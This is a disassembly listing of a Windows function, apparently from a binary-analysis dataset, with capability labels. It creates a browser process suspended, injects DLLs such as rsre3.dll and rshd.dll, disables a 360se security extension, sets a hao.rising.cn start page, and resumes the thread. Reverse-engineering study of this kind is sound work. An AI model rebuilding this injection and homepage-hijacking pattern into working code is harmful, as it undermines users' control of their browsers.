Function at 0x402930
Capabilities:
Check if file exists
Create process on windows
Create process suspended
Get common file path
Query or enumerate registry value
Resolve function by parsing pe exports
Resume thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xe04
mov eax, dword [0x427074]
xor eax, esp
mov dword [esp + 0xe00], eax
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x7fa]
push ecx
mov word [esp + 0x7fc], ax
call fcn.004120b0
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x5f2]
push eax
mov word [esp + 0x5f4], dx
call fcn.004120b0
add esp, 0xc
push 0x47b
push 0
push 1
push str._d._d._d
call fcn.004044e0
add esp, 0x10
test ebx, ebx
jne 0x4029fc
push 0x480
push ebx
push 0x1000
push str._d._d._d
call fcn.004044e0
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x481
push ebx
call fcn.004010c0
add esp, 0xc
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xe00]
xor ecx, esp
call fcn.0040b0a0
mov esp, ebp
pop ebp
ret 0x10
mov eax, ebx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402a01
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrNIW]
sub eax, edx
sar eax, 1
push eax
push 0x4232c4
push ebx
call esi
test eax, eax
je 0x402a32
mov ecx, ebx
call fcn.004023d0
test eax, eax
jne 0x403354
mov eax, ebx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402a37
sub eax, edx
sar eax, 1
push eax
push str.360se.exe
push ebx
call esi
test eax, eax
je 0x402a6e
push str.___360se_no_secureextension
push ebx
call dword [sym.imp.SHLWAPI.dll_StrCatW]
mov ecx, ebx
call fcn.00402680
test eax, eax
jne 0x403354
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0xa02]
push edx
mov word [esp + 0xa04], cx
call fcn.004120b0
lea eax, [esp + 0x18]
add esp, 0xc
push eax
lea edi, [esp + 0x9fc]
mov ecx, ebx
mov dword [esp + 0x10], 0
call fcn.00401cd0
add esp, 4
test eax, eax
je 0x402c3c
mov esi, dword [esp + 0xc]
push esi
push 0x497
push 0
push 1
push str._d._d._d.T:__d
call fcn.004044e0
add esp, 0x14
cmp esi, 8
jne 0x402af1
push 0x49e
push 0
push 0x10
push str._d._d._d
call fcn.004044e0
add esp, 0x10
mov eax, edi
call fcn.004022a0
mov ecx, 0xe
mov esi, str.http:__hao.rising.cn___b61
lea edi, [esp + 0x1d8]
push 0x1d0
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x214]
push 0
push ecx
call fcn.004120b0
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x3ea]
push eax
mov word [esp + 0x3ec], dx
call fcn.004120b0
mov edi, dword [esp + 0x18]
add esp, 0xc
push edi
lea esi, [esp + 0x3e4]
call fcn.00408ea0
add esp, 4
test eax, eax
je 0x402b95
mov ecx, 0x104
lea eax, [esp + 0x1d8]
nop
cmp word [eax], 0
je 0x402b70
add eax, 2
sub ecx, 1
jne 0x402b60
jmp 0x402b95
test ecx, ecx
je 0x402b95
mov eax, 0x104
sub eax, ecx
mov edx, 0x104
sub edx, eax
lea ecx, [esp + eax*2 + 0x1d8]
lea eax, [esp + 0x3e0]
call fcn.00403370
push 0x103
lea ecx, [esp + 0xd5]
push 0
push ecx
mov byte [esp + 0xdc], 0
call fcn.004120b0
add esp, 0xc
push 0
push 0
push 0x104
lea edx, [esp + 0xdc]
push edx
push 0x104
lea eax, [esp + 0x1ec]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea ecx, [esp + 0x1d8]
call fcn.00401980
test eax, eax
je 0x402c3c
push 0x4b4
push 0
push 0x10
push str._d._d._d
call fcn.004044e0
add esp, 0x10
call fcn.00408b30
test eax, eax
je 0x402c22
push edi
lea edx, [esp + 0x1dc]
lea ecx, [esp + 0x9fc]
call fcn.00408f00
add esp, 4
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xe00]
xor ecx, esp
call fcn.0040b0a0
mov esp, ebp
pop ebp
ret 0x10
lea ecx, [esp + 0x5e8]
call fcn.00401190
test eax, eax
jne 0x402c95
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x4c5
push 0
call fcn.004010c0
add esp, 0xc
push 0x4c7
push 0
push 0x1000
push str._d._d._d
call fcn.004044e0
add esp, 0x10
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xe00]
xor ecx, esp
call fcn.0040b0a0
mov esp, ebp
pop ebp
ret 0x10
mov esi, dword [sym.imp.SHLWAPI.dll_PathAppendW]
push str.Ilrspsm.dll
lea ecx, [esp + 0x5ec]
push ecx
call esi
mov edi, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
lea edx, [esp + 0x5e8]
push edx
call edi
test eax, eax
jne 0x402cdb
lea eax, [esp + 0x5e8]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push str.Ildsp.dll
lea ecx, [esp + 0x5ec]
push ecx
call esi
lea edx, [esp + 0x5e8]
push edx
call edi
test eax, eax
jne 0x40312d
push 0x4da
push eax
push 0x10
push str._d._d._d
call fcn.004044e0
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
add esp, 0x10
call esi
push eax
push 0x4db
xor edi, edi
push edi
call fcn.004010c0
xor eax, eax
add esp, 0xc
push 0x40
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
lea eax, [esp + 0x90]
push edi
push eax
mov dword [esp + 0x24], edi
call fcn.004120b0
add esp, 0xc
push 0x4e8
push edi
mov ecx, 5
push 1
push str._d._d._d
mov dword [esp + 0x98], 0x44
mov dword [esp + 0xc4], 1
mov word [esp + 0xc8], cx
call fcn.004044e0
add esp, 0x10
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x8c]
push eax
push edi
push edi
push 4
push edi
push edi
push edi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4030ea
push 0x4f7
push edi
push 0x10
push str._d._d._d
call fcn.004044e0
push 0x103
lea ecx, [esp + 0xe5]
push edi
push ecx
mov byte [esp + 0xec], 0
call fcn.004120b0
add esp, 0x1c
lea ecx, [esp + 0xd0]
call fcn.00401320
mov ecx, dword [esp + 0xc]
cmp ecx, 3
jne 0x402f8a
cmp eax, edi
je 0x4030b1
push 0x500
push edi
push 1
push str._d._d._d
call fcn.004044e0
push 0x103
lea edx, [esp + 0x3f5]
push edi
push edx
mov byte [esp + 0x3fc], 0
call fcn.004120b0
add esp, 0x1c
push 0x103
lea eax, [esp + 0x1dd]
push edi
push eax
mov byte [esp + 0x1e4], 0
call fcn.004120b0
add esp, 0xc
lea ecx, [esp + 0xd0]
push ecx
lea edx, [esp + 0x3e4]
push 0x104
push edx
call fcn.0040b147
mov esi, dword [sym.imp.SHLWAPI.dll_PathAppendA]
add esp, 0xc
push str.rsre3.dll
lea eax, [esp + 0x3e4]
push eax
call esi
mov ebx, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
lea ecx, [esp + 0x3e0]
push ecx
call ebx
test eax, eax
je 0x402ea5
push 0x510
push edi
push 1
push str._d._d._d
call fcn.004044e0
lea edx, [esp + 0x3f0]
mov dword [esp + 0x20], edx
mov edi, 1
jmp 0x402ebb
push 0x516
push 0
push 0x100
push str._d._d._d
call fcn.004044e0
add esp, 0x10
lea eax, [esp + 0xd0]
push eax
lea ecx, [esp + 0x1dc]
push 0x104
push ecx
call fcn.0040b147
add esp, 0xc
push str.rshd.dll
lea edx, [esp + 0x1dc]
push edx
call esi
lea eax, [esp + 0x1d8]
push eax
call ebx
test eax, eax
je 0x402f1c
push 0x521
push 0
push 1
push str._d._d._d
call fcn.004044e0
lea ecx, [esp + 0x1e8]
add esp, 0x10
mov dword [esp + edi*4 + 0x10], ecx
inc edi
jmp 0x402f35
push 0x527
push 0
push 0x100
push str._d._d._d
call fcn.004044e0
add esp, 0x10
test edi, edi
jle 0x4030b1
mov eax, dword [esp + 0x18]
push edi
lea edx, [esp + 0x14]
push edx
push eax
call fcn.0041a710
test eax, eax
je 0x402f6c
push 0x531
push 0
push 0x10
push str._d._d._d
call fcn.004044e0
add esp, 0x10
jmp 0x4030b1
push 0x536
push 0
push 0x1000
push str._d._d._d
call fcn.004044e0
add esp, 0x10
jmp 0x4030b1
cmp ecx, 1
jne 0x4030b1
cmp eax, edi
je 0x4030b1
call fcn.00402390
test eax, eax
jne 0x4030b1
push 0x103
lea ecx, [esp + 0x3e5]
push edi
push ecx
mov byte [esp + 0x3ec], al
call fcn.004120b0
add esp, 0xc
push edi
lea edx, [esp + 0x10]
push edx
push edi
push 0xf023f
push edi
push edi
push edi
push str.CLSIDD8640557_340F_40c2_8045_CCA830C44150
push SysReAllocStringLen
mov dword [esp + 0x30], edi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4030b1
push 0x103
mov byte [esp + 0x1dc], al
lea eax, [esp + 0x1dd]
push edi
push eax
call fcn.004120b0
mov eax, dword [esp + 0x18]
add esp, 0xc
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x1dc]
push edx
push edi
push eax
mov dword [esp + 0x20], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
jne 0x4030a6
lea ecx, [esp + 0xd0]
push ecx
lea edx, [esp + 0x3e4]
push 0x104
push edx
call fcn.0040b147
add esp, 0xc
lea eax, [esp + 0x1d8]
push eax
lea ecx, [esp + 0x3e4]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
push 0x4235d8
lea edx, [esp + 0x3e4]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAddExtensionA]
lea eax, [esp + 0x3e0]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x4030a6
mov eax, dword [esp + 0x18]
push 1
lea edx, [esp + 0x3c]
push edx
lea ecx, [esp + 0x3e8]
push eax
mov dword [esp + 0x44], ecx
call fcn.0041a710
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [esp + 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [esp + 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [esp + 0x1c]
push eax
call edi
push esi
call edi
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xe00]
xor ecx, esp
call fcn.0040b0a0
mov esp, ebp
pop ebp
ret 0x10
push 0x573
push edi
push 0x1000
push str._d._d._d
call fcn.004044e0
add esp, 0x10
call esi
push eax
push 0x574
push edi
call fcn.004010c0
add esp, 0xc
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xe00]
xor ecx, esp
call fcn.0040b0a0
mov esp, ebp
pop ebp
ret 0x10
push 0x57a
push 0
push 0x10
push str._d._d._d
call fcn.004044e0
push 0x57e
push 0
push 1
push str._d._d._d
call fcn.004044e0
add esp, 0x20
push 0x104
lea ecx, [esp + 0x7f4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x4031b5
push 0x584
push eax
push 0x1000
push str._d._d._d
call fcn.004044e0
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x585
push 0
call fcn.004010c0
add esp, 0xc
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xe00]
xor ecx, esp
call fcn.0040b0a0
mov esp, ebp
pop ebp
ret 0x10
push str.rundll32.exe
lea edx, [esp + 0x7f4]
push edx
call esi
lea eax, [esp + 0x7f0]
push eax
call edi
test eax, eax
jne 0x40321a
push 0x58d
push eax
push 0x1000
push str._d._d._d
call fcn.004044e0
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x58e
push 0
call fcn.004010c0
add esp, 0xc
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xe00]
xor ecx, esp
call fcn.0040b0a0
mov esp, ebp
pop ebp
ret 0x10
push 0x593
push 0
push 1
push str._d._d._d
call fcn.004044e0
xor eax, eax
push 0x40
push eax
lea ecx, [esp + 0x5c]
push ecx
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
call fcn.004120b0
add esp, 0x1c
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xc0a]
mov edx, 5
push ecx
mov dword [esp + 0x4c], 0x44
mov dword [esp + 0x78], 1
mov word [esp + 0x7c], dx
mov word [esp + 0xc0c], ax
call fcn.004120b0
add esp, 0xc
push ebx
push str.Rttdsie
lea edx, [esp + 0x5f0]
push edx
lea eax, [esp + 0x7fc]
push eax
push str._s___s___s__s
mov eax, 0x104
lea edi, [esp + 0xc14]
call fcn.00403420
add esp, 0x14
lea ecx, [esp + 0x28]
push ecx
lea edx, [esp + 0x44]
push edx
push 0
push 0
push 0x20
push 0
push 0
push 0
mov eax, edi
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x403325
push 0x5ad
push 0
push 0x10
push str._d._d._d
call fcn.004044e0
mov ecx, dword [esp + 0x38]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [esp + 0x3c]
add esp, 0x10
push ecx
call edi
push esi
call edi
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xe00]
xor ecx, esp
call fcn.0040b0a0
mov esp, ebp
pop ebp
ret 0x10
push 0x5b8
push 0
push 0x1000
push str._d._d._d
call fcn.004044e0
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x5b9
push 0
call fcn.004010c0
add esp, 0xc
mov ecx, dword [esp + 0xe0c]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.0040b0a0
mov esp, ebp
pop ebp
ret 0x10